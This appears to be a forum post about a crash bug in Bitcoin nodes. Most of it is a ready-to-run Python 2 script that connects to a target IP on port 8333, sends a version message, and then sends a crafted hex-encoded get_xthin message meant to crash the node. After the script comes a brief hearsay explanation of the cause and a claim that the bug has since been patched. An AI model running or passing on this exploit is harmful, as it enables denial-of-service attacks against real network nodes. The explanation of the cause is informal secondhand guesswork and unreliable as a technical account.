And here is what did it:
#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse
BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
if len(sys.argv) > 2:
TCP_PORT = int(sys.argv[2])
TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
TCP_PORT = 8333
TCP_IP = sys.argv[1]
else:
print "Usage: %s ip [port]" % sys.argv[0]
exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)
data = s.recv(BUFFER_SIZE)
time.sleep(1)
s.send(GET_XTHIN)
time.sleep(1)
s.close()
print "received data:", data
Apparently they have patched it now.
Basically from what i got from a few places, The nodes have responses programmed that they give depending of what was asked of them and there was no final "Sorry, Dave I can't do that" message as a catchall. So when they told it to do something not on the list of responses, it crashed.